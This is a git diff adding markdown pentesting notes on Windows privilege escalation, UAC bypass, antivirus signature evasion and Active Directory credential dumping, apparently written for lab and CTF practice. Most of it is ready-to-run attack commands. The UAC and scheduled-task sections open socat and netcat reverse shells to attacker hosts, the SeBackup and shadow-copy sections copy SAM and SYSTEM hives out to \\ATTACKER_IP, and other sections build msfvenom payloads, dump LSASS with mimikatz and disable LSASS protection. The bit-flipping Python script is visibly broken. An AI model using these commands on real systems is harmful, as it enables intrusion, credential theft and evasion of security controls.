EXIT /B
|
Binary file not shown.
|
@ -0,0 +1,7 @@
|
|||
# Windows Registry
|
||||
|
||||
## AutoLogin Password
|
||||
* Automatic logon password is save in plaintext
|
||||
```
|
||||
reg query "HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon"
|
||||
```
|
|
@ -0,0 +1,29 @@
|
|||
# SEBackupPrivilege Escalation
|
||||
|
||||
* Check user privileges to escalate
|
||||
|
||||
## Usage
|
||||
* Check `whoami /all`
|
||||
* `SeBackupPrivilege` must be present
|
||||
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#using-diskshadow-a-windows-signed-binary)
|
||||
* Upload `diskshadow.txt` to the target with the following content, there has to be a space at the end of each line!!!!
|
||||
```sh
|
||||
set metadata C:\tmp\tmp.cabs
|
||||
set context persistent nowriters
|
||||
add volume c: alias someAlias
|
||||
create
|
||||
expose %someAlias% h:
|
||||
```
|
||||
* Change dir to `C:\Windows\System32` and `diskshadow.exe /s C:\tmp\diskshadow.txt`
|
||||
* Upload these [dlls](https://github.com/giuliano108/SeBackupPrivilege) to the target
|
||||
```sh
|
||||
import-module .\SeBackupPrivilegeUtils.dll
|
||||
import-module .\SeBackupPrivilegeCmdLets.dll
|
||||
copy-filesebackupprivilege h:\windows\ntds\ntds.dit C:\tmp\ntds.dit -overwrite
|
||||
reg save HKLM\SYSTEM C:\tmp\system
|
||||
```
|
||||
* Downloads the files `ntds.dit` and `system`
|
||||
* Extract the hashes via
|
||||
```sh
|
||||
secretsdump.py -system system -ntds ntds.dit LOCAL > out.txt
|
||||
```
|
|
@ -0,0 +1,23 @@
|
|||
# Secretsdump
|
||||
|
||||
Mimikatz for the network!
|
||||
* Part of Impacket
|
||||
|
||||
## Usage
|
||||
* IP and domain controller name only.
|
||||
```sh
|
||||
secretsdump.py -just-dc -no-pass <dc-name>\$@<dc-ip>
|
||||
```
|
||||
|
||||
* Dumped domain credentials are the result. Example:
|
||||
```sh
|
||||
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3f3ef89114fb063e3d7fc23c20f65568:::
|
||||
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
||||
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2179ebfa86eb0e3cbab2bd58f2c946f5:::
|
||||
```
|
||||
|
||||
* NTLM hashes of this dump can be used to feed `evil-winrm`. Example from above as Administrator + Hash
|
||||
```sh
|
||||
evil-winrm.rb -i 10.10.15.3 -u Administrator -H 3f3ef89114fb063e3d7fc23c20f65568
|
||||
```
|
||||
|
|
@ -0,0 +1,100 @@
|
|||
# Antimalware Signature Evasion
|
||||
|
||||
## Check Binary Against AV
|
||||
|
||||
* Split the binary to create signature
|
||||
```sh
|
||||
head --bytes <number of bytes> > sig.exe
|
||||
```
|
||||
* To test running antivirus, split it in half multiple times and check if it would be detected by the AV. Check for bad bytes
|
||||
|
||||
|
||||
### Automation
|
||||
|
||||
* [Powersploit's Find-AVSignature](https://github.com/PowerShellMafia/PowerSploit/blob/master/AntivirusBypass/Find-AVSignature.ps1) finds it automatically
|
||||
* [rasta-mouse's Threat Check](https://github.com/rasta-mouse/ThreatCheck)
|
||||
|
||||
|
||||
## Static Code
|
||||
|
||||
* Obfuscation of classes
|
||||
* __Class Hierarchy Flattening__, create proxies via interfaces
|
||||
* __Class Splitting & Coalescing__, shift variables to other classes
|
||||
* __Dropping Modifiers__, drop private use public only
|
||||
|
||||
* Obfuscation of methods
|
||||
* __Method Proxy__, proxy method or object replacement
|
||||
* __Method Scattering & Aggregation__, coalesce or split methods
|
||||
* __Method Clone__, replication of methods
|
||||
|
||||
|
||||
## Property Based
|
||||
|
||||
* Properties may be hash checksum or entropy of a binary
|
||||
|
||||
* While having the source code at hand, simple white spaces can change the checksum or adding strings to the text section may lower the entropy
|
||||
|
||||
### Bit Flipping
|
||||
|
||||
* When only the binary is accessible add some `NOP`s or do bit flipping via
|
||||
```python
|
||||
import sys
|
||||
|
||||
with open (sys.argc[1], "rb") as _f:
|
||||
orig = list(_f.read)
|
||||
|
||||
for i,c in enumerate(orig):
|
||||
current=list(orig)
|
||||
current[i] = chr(ord(c) ^ 0xde)
|
||||
path = f"{i}.exe"
|
||||
|
||||
with open (path, "wb") as _f:
|
||||
_f.write(''.join(str(x) for x in current)
|
||||
|
||||
print("[+] Success")
|
||||
return 0
|
||||
```
|
||||
|
||||
* Verify if the portable executables generated from the script above are still well formed
|
||||
```sh
|
||||
FOR /L %%A IN (1,1,10000) DO (
|
||||
signtool verify /v /a flipped\\%%A.exe
|
||||
)
|
||||
```
|
||||
|
||||
## Behavior Based
|
||||
|
||||
* __Import Adress Table (IAT)__ is the PLT of windows. It contains addresses of the (standard) lib functions provided by DLLs.
|
||||
* IAT can be found in a PE's header under `IMAGE_OPTIONAL_HEADER`. The references are provided by an API call or the __Thunk Table__
|
||||
* __Dynamic Loading__ can be used to call the address of a library function instead of IAT
|
||||
|
||||
### Dynamic Loading
|
||||
|
||||
* The structure of a call has to be defined, an example is [GetComputerNameA](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getcomputernamea)
|
||||
|
||||
* Get the handle of the module where the address that will be called resides in
|
||||
* Get the process address of the loaded function address
|
||||
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <lm.h>
|
||||
|
||||
// Compilation via i686-w64-mingw32-g++ -fPIC nosig.c -o nosig.exe
|
||||
|
||||
typedef BOOL (WINAPI* myNotGetComputerNameA)(
|
||||
LPSTR lpBuffer,
|
||||
LPDWORD nSize
|
||||
);
|
||||
|
||||
int main ( void ) {
|
||||
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");
|
||||
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA");
|
||||
printf("GetComputerNameA: 0x%p\\n", notGetComputerNameA);
|
||||
CHAR hostName[260];
|
||||
DWORD hostNameLength = 260;
|
||||
if (notGetComputerNameA(hostName, &hostNameLength)) {
|
||||
printf("hostname: %s\\n", hostName);
|
||||
}
|
||||
}
|
||||
```
|
|
@ -0,0 +1,129 @@
|
|||
# User Account Control
|
||||
|
||||
* Change permissions of a process or its resources
|
||||
* Mandatory Integrity Control (MIC)
|
||||
* Feature of MAC, assigns integrity level on permissions
|
||||
* Low
|
||||
* Medium
|
||||
* High
|
||||
* System
|
||||
|
||||
## Login Tokens
|
||||
|
||||
* Access tokens are given to users at login
|
||||
* __Non Administrator Token__, integrity level low
|
||||
* __Filtered Token__, stripped administrative permission, integrity level medium
|
||||
* __Elevated Token__, elevates to integrity level high
|
||||
|
||||
## User Account Control Settings
|
||||
|
||||
* __Always notify__
|
||||
* __Notify me only when programs try to make changes to my computer__, shows UAC dialogue
|
||||
* __Notify me only when programs try to make changes to my computer (do not dim my desktop)__
|
||||
* __Never notify__, never show UAC dialogue
|
||||
|
||||
## How UAC Works
|
||||
|
||||
Application Information Service, a.k.a Appinfo
|
||||
|
||||
* User requests elevated permissions
|
||||
* `ShellExecute` API call is made via `runas.exe`
|
||||
* Request to Appinfo
|
||||
* Application manifest is checked if AutoElevation is set to on
|
||||
* Appinfo runs `consent.exe`, dialogue opens up
|
||||
* User clicks yes, token is checked. PPID of the newly created porcess will be pointed to the shell from which the request originates, while the login token is elevated. Otherwise it is denied
|
||||
|
||||
## Bypass
|
||||
|
||||
* UAC is seen as a convenience function, not a security function
|
||||
* `Mandatory Label` is shown via `whoami /groups`
|
||||
|
||||
### GUI
|
||||
|
||||
#### msconfig
|
||||
* Open `msconfig`, always got integrity level high via auto elevation
|
||||
* On Tab `Tools` choose `Command Prompt` and press `Launch` to get an elevated `cmd.exe`
|
||||
|
||||
#### azman.msc
|
||||
* Open `azman.msc` --> `Help` --> `Help Topics`
|
||||
* Right click help article --> `view source`
|
||||
* `Open` --> `File`, select `All Files`
|
||||
* Dialogue opens up, go to `C:\Windows\System32\cmd.exe` and right click on it to open
|
||||
|
||||
#### Autoelevate Process
|
||||
* Binary must be signed
|
||||
* Must be in a trusted dir like `Program Files` or `Windows`
|
||||
|
||||
* Additionaly, portable executables need `autoelevate` in the manifest. Check via
|
||||
```sh
|
||||
sigcheck64.exe -m <portable_executable.exe>
|
||||
```
|
||||
* `mmc.exe` autoelevates depending on user request for msc-snapin
|
||||
* Most `*.msc`s, `spinstall.exe`, `pkgmgr.exe` as well as [COM objects autoelevate](https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker)
|
||||
|
||||
### Commandline
|
||||
|
||||
#### Fodhelper.exe
|
||||
|
||||
* Default applications are stored in `HKEY_LOCAL_MACHINE\Software\Classes` which is superseded by the current user profile `HKEY_CURRENT_USER\Software\Classes`
|
||||
* `ms-settings` ProgID is searched for by `fodhelper.exe`, this setting overrides system defaults of which executable opens the filetype
|
||||
* The subprocess of `fodhelper.exe` inherits intergrity level high
|
||||
|
||||
* Open reverse shell on attacker and
|
||||
```sh
|
||||
whoami
|
||||
net user <user> | find "Local Group"
|
||||
whoami /groups | find "Label"
|
||||
set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:$TARGET_IP:4444 EXEC:cmd.exe,pipes"
|
||||
reg add %REG_KEY% /v "DelegateExecute" /d "" /f
|
||||
reg add %REG_KEY% /d %CMD% /f & fodhelper.exe
|
||||
```
|
||||
|
||||
* Clean up via
|
||||
```sh
|
||||
reg delete HKCU\Software\Classes\ms-settings\ /f
|
||||
```
|
||||
|
||||
|
||||
* When Windows Defender is enabled use [v3d3d's improvement for bypassing Windows Defender](https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses)
|
||||
|
||||
```sh
|
||||
$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP:$TARGET_IP:4445 EXEC:cmd.exe,pipes"
|
||||
|
||||
New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
|
||||
|
||||
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
|
||||
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force
|
||||
|
||||
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
|
||||
|
||||
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:$TARGET_IP:4445 EXEC:cmd.exe,pipes"
|
||||
reg add "HKCU\Software\Classes\.thm\Shell\Open\command" /d %CMD% /f
|
||||
reg add "HKCU\Software\Classes\ms-settings\CurVer" /d ".thm" /f
|
||||
fodhelper.exe
|
||||
|
||||
reg delete "HKCU\Software\Classes\.thm\" /f
|
||||
reg delete "HKCU\Software\Classes\ms-settings\" /f
|
||||
```
|
||||
|
||||
|
||||
### Scheduled Tasks
|
||||
|
||||
* UAC will not be triggered on scheduled tasks
|
||||
* DiskCleanup calls `%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%`
|
||||
* Set `%windir%` to a reverse shell via
|
||||
```sh
|
||||
reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP:$TARGET_IP:4711 EXEC:cmd.exe,pipes &REM " /f
|
||||
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
|
||||
reg delete "HKCU\Environment" /v "windir" /f
|
||||
```
|
||||
|
||||
### Automated Bypass
|
||||
|
||||
* [hfiref0x's automated bypass named UCAME](https://github.com/hfiref0x/UACME.git)
|
||||
|
||||
|
||||
## Detection
|
||||
|
||||
* https://www.bleepingcomputer.com/news/security/bypassing-windows-10-uac-with-mock-folders-and-dll-hijacking/
|
|
@ -0,0 +1,488 @@
|
|||
# Windows Privilege Escalation
|
||||
|
||||
## Links
|
||||
|
||||
* [Fundamentals](https://www.fuzzysecurity.com/tutorials/16.html)
|
||||
* [PowerShellEmpire](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp)
|
||||
* [JAWS](https://github.com/411Hall/JAWS)
|
||||
* [winpeas](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
|
||||
* [privescheck](https://github.com/itm4n/PrivescCheck)
|
||||
* [windows exploit suggester](https://github.com/bitsadmin/wesng)
|
||||
* [hacktricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)
|
||||
|
||||
## Account Types
|
||||
|
||||
* __Administrator__ local & domain
|
||||
* __Standard__ local & domain
|
||||
* __Guest__
|
||||
* __System__, local system, final escalation
|
||||
* __Local Service__, got anonymous connections over network.
|
||||
* __Network Service__, default service account, authentication via network
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Users & Groups
|
||||
|
||||
```sh
|
||||
whoami /priv
|
||||
net users
|
||||
net users <username>
|
||||
net localgroup
|
||||
net localgroup <groupname>
|
||||
query session
|
||||
qwinsta
|
||||
```
|
||||
|
||||
### Files
|
||||
|
||||
* [powershell](../../../../enumeration/windows/powershell.md)
|
||||
|
||||
### System
|
||||
|
||||
```sh
|
||||
hostname
|
||||
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
|
||||
```
|
||||
* Installed software, check for existing exploits
|
||||
```sh
|
||||
wmic product get name,version,vendor
|
||||
```
|
||||
* Services
|
||||
```sh
|
||||
wmic service list brief | findstr "Running"
|
||||
```
|
||||
|
||||
### Logfiles and Registry
|
||||
|
||||
```sh
|
||||
cmdkey /list
|
||||
```
|
||||
* Keys containing passwords
|
||||
```
|
||||
reg query HKLM /f password /t REG_SZ /s
|
||||
reg query HKCU /f password /t REG_SZ /s
|
||||
```
|
||||
|
||||
### AD Credentials
|
||||
|
||||
* Check AD's NTDS (configuration database), SYSVOL (policy distribution through the domain)
|
||||
```sh
|
||||
Get-ADUser -Filter * -Properties * | select Name,SamAccountName,Description
|
||||
```
|
||||
|
||||
#### NTDS
|
||||
|
||||
* Check user description of AD users
|
||||
* NTDS consists of three tables
|
||||
* Schema
|
||||
* Link
|
||||
* Data type
|
||||
* Located under `C:\Windows\NTDS`
|
||||
* File is locked by AD at runtime
|
||||
* A System Bootkey is need to dump the NTDS
|
||||
|
||||
## Exploit
|
||||
|
||||
* __Use found credentials__
|
||||
```sh
|
||||
runas /savecred /user:<domain\user> reverse_shell.exe
|
||||
```
|
||||
|
||||
### DLL Hijacking
|
||||
|
||||
* [DLL hijacking](../../../../exploit/windows/dll_hijacking/dll_hijacking.md)
|
||||
|
||||
### Unquoted Service Path
|
||||
|
||||
* [unquoted service path](../../../../exploit/windows/docs/unquoted_path.md)
|
||||
|
||||
### Token Impersonation
|
||||
|
||||
* `SeImpersonatePrivilege` is necessary, check via `whoami priv`
|
||||
* Hot Potato is best before Server 2019 and Windows 10 (version 1809)
|
||||
* [Potatos](../../../../exploit/windows/docs/potatoes.md)
|
||||
* [itm4n](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
|
||||
|
||||
### Schedules Tasks
|
||||
|
||||
* `schtasks` and `schtasks /query /tn %TASK_NAME% /fo list /v`
|
||||
* `Autoruns64.exe`
|
||||
|
||||
### MSI Elevated Installer
|
||||
|
||||
* [Always install elevated](../../../../exploit/windows/docs/always_installed_elevated.md)
|
||||
|
||||
|
||||
### accesschk64 Permissions
|
||||
|
||||
* Check access to files and folders
|
||||
```sh
|
||||
accesschk64 -wvu "file.exe"
|
||||
```
|
||||
* If permission `SERVICE_CHANGE_CONFIG` is set
|
||||
```sh
|
||||
sc config <service> binpath="net localgroup administrators user /add"
|
||||
```
|
||||
* [Service escalation](../../../../exploit/windows/service_escalation/service_escalation.md)
|
||||
* Any other binary works as well. Copy the compiled portable executable from the `service_escalation` onto the binary path.Restart the service afterwards.
|
||||
|
||||
#### accesschk64 for Services
|
||||
|
||||
```sh
|
||||
accesschk64 -qlc "service.exe"
|
||||
```
|
||||
* If permission `SERVICE_ALL_ACCESS` is set it is configurable upload a reverse shell
|
||||
```sh
|
||||
icacls C:\Windows\Temp\shell.exe /grant Everyone:F
|
||||
```
|
||||
* Reconfigure and restart service
|
||||
```sh
|
||||
sc config TheService binPath= "C:\Path\to\shell.exe" obj= LocalSystem
|
||||
sc stop TheService
|
||||
sc start TheService
|
||||
```
|
||||
|
||||
### Startup Application
|
||||
|
||||
* Put reverse shell instead of an executable inside `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup`
|
||||
|
||||
### Password Mining
|
||||
|
||||
* Set up metasploit
|
||||
```sh
|
||||
use auxiliary/server/capture/http_basic
|
||||
set srvport 7777
|
||||
set uripath pass
|
||||
```
|
||||
* Visit site on target
|
||||
|
||||
### Unattended Windows Installation
|
||||
|
||||
* Investigate the following paths to potentially find user credentials
|
||||
```sh
|
||||
C:\Unattend.xml
|
||||
C:\Windows\Panther\Unattend.xml
|
||||
C:\Windows\Panther\Unattend\Unattend.xml
|
||||
C:\Windows\system32\sysprep.inf
|
||||
C:\Windows\system32\sysprep\sysprep.xml
|
||||
```
|
||||
* Watch out for the `<Credentials>` tags
|
||||
|
||||
### Powershell History file
|
||||
|
||||
```sh
|
||||
Get-Content %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
|
||||
```
|
||||
|
||||
### Internet Information Services (IIS)
|
||||
|
||||
* Default web server on windows
|
||||
* Paths containing credentials are the following
|
||||
```sh
|
||||
C:\inetpub\wwwroot\web.config
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
|
||||
```
|
||||
|
||||
### Putty
|
||||
|
||||
* Saved proxy password credentials may be found via
|
||||
```sh
|
||||
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "ProxyPassword" /s
|
||||
```
|
||||
|
||||
### schtask and icacls
|
||||
|
||||
* Check `schtasks /query /tn %TASK_NAME% /fo list /v`
|
||||
* Check script for scheduled tasks, `F` means full access
|
||||
```sh
|
||||
icacls <PathToScript>
|
||||
```
|
||||
* Put payload inside the script
|
||||
```sh
|
||||
echo "C:\tmp\nc.exe -e cmd.exe %ATTACKER_IP% 4711" > <PathToSript>
|
||||
```
|
||||
* Run the task
|
||||
```sh
|
||||
schtasks /run /tn <taskname>
|
||||
```
|
||||
|
||||
### Always Installs Elevated
|
||||
|
||||
* These should be set
|
||||
```sh
|
||||
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
|
||||
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
|
||||
```
|
||||
|
||||
* Craft `*.msi` file with a payload
|
||||
```sh
|
||||
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f msi -o wizard.msi
|
||||
```
|
||||
|
||||
* Upload and execute via
|
||||
```sh
|
||||
msiexec /quiet /qn /i C:\Windows\Temp\wizard.msi
|
||||
```
|
||||
|
||||
### Service Misconfiguration
|
||||
|
||||
* Check services, watch out for `BINARY_PATH_NAME` and `SERVICE_START_NAME`
|
||||
```sh
|
||||
sc qc apphostsvc
|
||||
```
|
||||
* Check found permissions via
|
||||
```sh
|
||||
icacls <BINARY_PATH_NAME>
|
||||
```
|
||||
* If the service binary path is writeable move the payload to its path and grant permissions
|
||||
```sh
|
||||
icacls <Payload_Service.exe> /grant Everyone:F
|
||||
```
|
||||
```sh
|
||||
sc stop <service>
|
||||
sc start <service>
|
||||
```
|
||||
* Catch the reverse shell service
|
||||
|
||||
Others ways are:
|
||||
* Discretionary Access Control (DACL) can be opened via right click on the service and go to properties
|
||||
* All services are stored under `HKLM\SYSTEM\CurrentControlSet\Services\`
|
||||
|
||||
### Unquoted Service Path
|
||||
|
||||
* If `BINARY_PATH_NAME` spaces are escaped incorrectly. Its path will be resolved to every space from left to right. If there is a binary with a matching name inside the directory it will be started.
|
||||
* A created directory at install time inherits the permissions from its parent. Check it via
|
||||
```sh
|
||||
icacls <directory>
|
||||
```
|
||||
* Use `service-exe` payload in msfvenom upload the payload and move it on the path with the a fitting parital name of the service path
|
||||
* Set permissions
|
||||
```sh
|
||||
icacls C:\Path/to/service.exe /grant Everyone:F
|
||||
```
|
||||
|
||||
### Permissions
|
||||
|
||||
* [priv2admin](https://github.com/gtworek/Priv2Admin)
|
||||
* `whoami /priv`
|
||||
|
||||
#### SeBackup / Restore
|
||||
|
||||
* If `SeBackup / SeRestore` (rw on all files) is set an elevated `cmd.exe` may be opened
|
||||
* Download `SAM` and `System` hashes
|
||||
```sh
|
||||
reg save hklm\system C:\Windows\Temp\system.hive
|
||||
reg save hklm\sam C:\Windows\Temp\sam.hive
|
||||
```
|
||||
* or
|
||||
```sh
|
||||
copy C:\Windows\System32\config\sam \\ATTACKER_IP\
|
||||
```
|
||||
* Start smb server on attack machine
|
||||
```sh
|
||||
copy C:\Windows\Temp\sam.hive \\ATTACKER_IP\
|
||||
copy C:\Windows\Temp\system.hive \\ATTACKER_IP\
|
||||
```
|
||||
|
||||
* Dump the hashes
|
||||
```sh
|
||||
secretsdump.py -sam sam.hive -system system.hive LOCAL
|
||||
```
|
||||
* or meterpreter on target
|
||||
```sh
|
||||
hashdump
|
||||
```
|
||||
|
||||
* Use pass the hash to login
|
||||
```sh
|
||||
psexec.py -hashes <hash> administrator@$TARGET_IP
|
||||
```
|
||||
|
||||
#### SeTakeOwnership
|
||||
|
||||
* If `SeTakeOwnership` is set one can take ownership of every file or service.
|
||||
```sh
|
||||
takeown /f C:\Windows\System32\Utilman.exe
|
||||
icacls C:\Windows\System32\Utilman.exe /grant <user>:F
|
||||
copy cmd.exe utilman.exe
|
||||
```
|
||||
* Log out, on the Login screen click on `Ease of Access`
|
||||
|
||||
#### SeImpersonate / SeAssignPrimaryToken
|
||||
|
||||
* It is a rouge potato
|
||||
* Execute process as another user
|
||||
* Service accounts operate through impersonation
|
||||
* Check privileges via `whoami /priv` for these
|
||||
* __Object Exporter Identifier (OXID)__ is executed as via DCOM as a resolver on port 135 to socket of attacker
|
||||
```sh
|
||||
socat tcp-listen:135 reuseaddr,fork tcp:$TARGET_IP:1234
|
||||
```
|
||||
* Catch the potatoe executable from target via netcat
|
||||
|
||||
|
||||
### Volume Shadow Copy Service
|
||||
|
||||
* Take a look at the volumes at
|
||||
```sh
|
||||
vssadmin list shadows
|
||||
```
|
||||
|
||||
* Copy `sam` and `system` from the shadow copy
|
||||
```sh
|
||||
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam \\ATTACKER_IP\
|
||||
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system \\ATTACKER_IP\
|
||||
```
|
||||
|
||||
### Dump LSASS
|
||||
|
||||
* If administrator permissions are gained, a dump file can be created by opening the task manager and right clicking `lsass.exe` -> `creat dumpfile`
|
||||
* Use `procdump.exe` from sysinternal suite as an alternative to `tskmgr.exe`
|
||||
|
||||
* Extract the dump via mimikatz
|
||||
```sh
|
||||
privilege::debug
|
||||
sekurlsa::logonpasswords
|
||||
```
|
||||
|
||||
### LSASS Protection
|
||||
|
||||
__The bypass is needed most of the time in order to dump passwords__
|
||||
* If the dump cannot be created because it is protected change `RunAsPPL` DWORD to `0` under
|
||||
```sh
|
||||
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
|
||||
```
|
||||
|
||||
* Alternatively, use mimikatz
|
||||
```sh
|
||||
privilege::debug
|
||||
!+
|
||||
!processprotect /process:lsass.exe /remove
|
||||
```
|
||||
* `+!` calls `mimidrv.sys`, __therefore mimikatz has to be executed inside the same directory the this file lies__
|
||||
|
||||
### Windows Credential Manager
|
||||
|
||||
* Can be found via `Control Pane` -> `User Accounts` -> `Credential Manager`
|
||||
* Alternatively, command line can be used
|
||||
```sh
|
||||
vaultcmd /list
|
||||
vaultcmd /listproperties:"Web Credentials"
|
||||
vaultcmd /listcreds:"web credentials"
|
||||
```
|
||||
|
||||
* Extract the password via powershell script [Get-WebCredentials from nishang](https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1)
|
||||
```sh
|
||||
powershell -ex bypass
|
||||
Get-WebCredentials
|
||||
```
|
||||
|
||||
* Via mimikatz if administrative permissions have been gained
|
||||
```sh
|
||||
privilege::debug
|
||||
sekurlsa::credman
|
||||
```
|
||||
|
||||
### Ntdsutil
|
||||
|
||||
* If administrative permissions on the DC have been gained this can be done
|
||||
* Used to maintain the AD database, delete objects, snapshotting, set Directory Service Restore Mode (DSRM)
|
||||
|
||||
|
||||
#### Locally extracting ntds.dit
|
||||
|
||||
* This can be done to gather the system boot key
|
||||
* No AD credentials are needed
|
||||
* Three files are needed
|
||||
* C:\Windows\NTDS\ntds.dit
|
||||
* C:\Windows\System32\config\SYSTEM
|
||||
* C:\Windows\System32\config\SECURITY
|
||||
|
||||
* Locally dumping all three needed file is done via
|
||||
```sh
|
||||
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full C:\Windows\Temp\ntds' q q"
|
||||
```
|
||||
|
||||
* Use `secretsdump` to extract `ntds.dit`
|
||||
```sh
|
||||
secretsdump.py -security ./SECURITY -system ./SYSTEM -ntds ./ntds.dit local
|
||||
```
|
||||
|
||||
#### Remotely dumping ntds
|
||||
|
||||
* Needs the following AD credentials
|
||||
* Replicating Directory Changes
|
||||
* Replicating Directory Changes All
|
||||
* Replicating Directory Changes in Filtered Set
|
||||
|
||||
* Mimikatz or impacket can be used to gain credentials
|
||||
* Impacket's secretsdump.py via
|
||||
```sh
|
||||
secretsdump.py -just-dc <domain>/<AD_Admin_User>@$DC_IP
|
||||
secretsdump.py -just-dc-ntlm <domain>/<AD_Admin_User>@$DC_IP
|
||||
```
|
||||
|
||||
### Local Administration Password Solution (LAPS)
|
||||
|
||||
* This is possible if the user which credentials we posses is member of the group to make password changes
|
||||
* Replaces GPP, see below
|
||||
|
||||
* There are two interesting attributes
|
||||
* __ms-mcs-AdmPwd__ contains plain text password of the local Administrator
|
||||
* __ms-mcs-AdmPwdExpirationTime__ contains the expiration date of the admin password
|
||||
* __admpwd.dll__ is used to update the password inside __ms-mcs-AdmPwd__
|
||||
* If LAPS is enabled the dll can be found in `C:\Program Files\LAPS\CSE`
|
||||
|
||||
* List the cmdlets for LAPS
|
||||
```sh
|
||||
Get-Command *AdmPwd*
|
||||
```
|
||||
* Find the Organisational Unit with extended rights and take a look at the group under `ExtendedRightsHolder` in the output
|
||||
```sh
|
||||
Find-AdmPwdExtendedRights -Identity <OU>
|
||||
```
|
||||
* Enumerate which hosts have LAPS enabled
|
||||
* Impersonate the user and execute the following which displays the password
|
||||
```sh
|
||||
Get-AdmPwdPassword -ComputerName <targethost>
|
||||
```
|
||||
|
||||
* Use the property name displayed under `ExtendedRightsHolder` to enumerate groups and their users
|
||||
```sh
|
||||
net groups <ExtendedRightsHolder>
|
||||
net user <GroupMemberUsername>
|
||||
```
|
||||
|
||||
#### Group Policy Preferences
|
||||
|
||||
* Provisions administrational groups through the domain via SYSVOL
|
||||
* Distribution is done through XML files on SYSVOL. These contain a password encrypted with [the published private key](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN)
|
||||
* Use [Powersploit's Get-GPPPassword](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1) to decrypt it
|
||||
|
||||
|
||||
### Kerberoasting
|
||||
|
||||
* Inital (low level) credentials are needed
|
||||
* __Service Principal Name (SPN)__ account must be known, e.g. from web IIS user or SQL users
|
||||
```sh
|
||||
GetUserSPNs.py -dc-ip $DC_IP <domain>/<user>
|
||||
```
|
||||
|
||||
* Take a look at `Name` in the output and use it to query a TGS ticket
|
||||
```sh
|
||||
GetUserSPNs.py -dc-ip $DC_IP <domain>/<user> -request-user <SPN>
|
||||
```
|
||||
|
||||
* Crack the kerberos hash
|
||||
```sh
|
||||
hashcat -m 13100 -a0 hash.txt --wordlist <wordlist>
|
||||
```
|
||||
|
||||
### AS-REP Roasting
|
||||
|
||||
* `Do not require Kerberos pre-authentication` must be set on the AD user's account login settings. A password is used instead
|
||||
* A list of potential users with this configured setting should be gathered
|
||||
|
||||
```sh
|
||||
GetNPUsers.py -dc-ip $DC_IP <domain>/ -usersfile users.txt
|
||||
```
|
|
@ -0,0 +1,5 @@
|
|||
# pspy
|
||||
|
||||
* Snoop processes withou root permissions
|
||||
* [Repo](https://github.com/DominicBreuker/pspy.git)
|
||||
|
Loading…
Reference in New Issue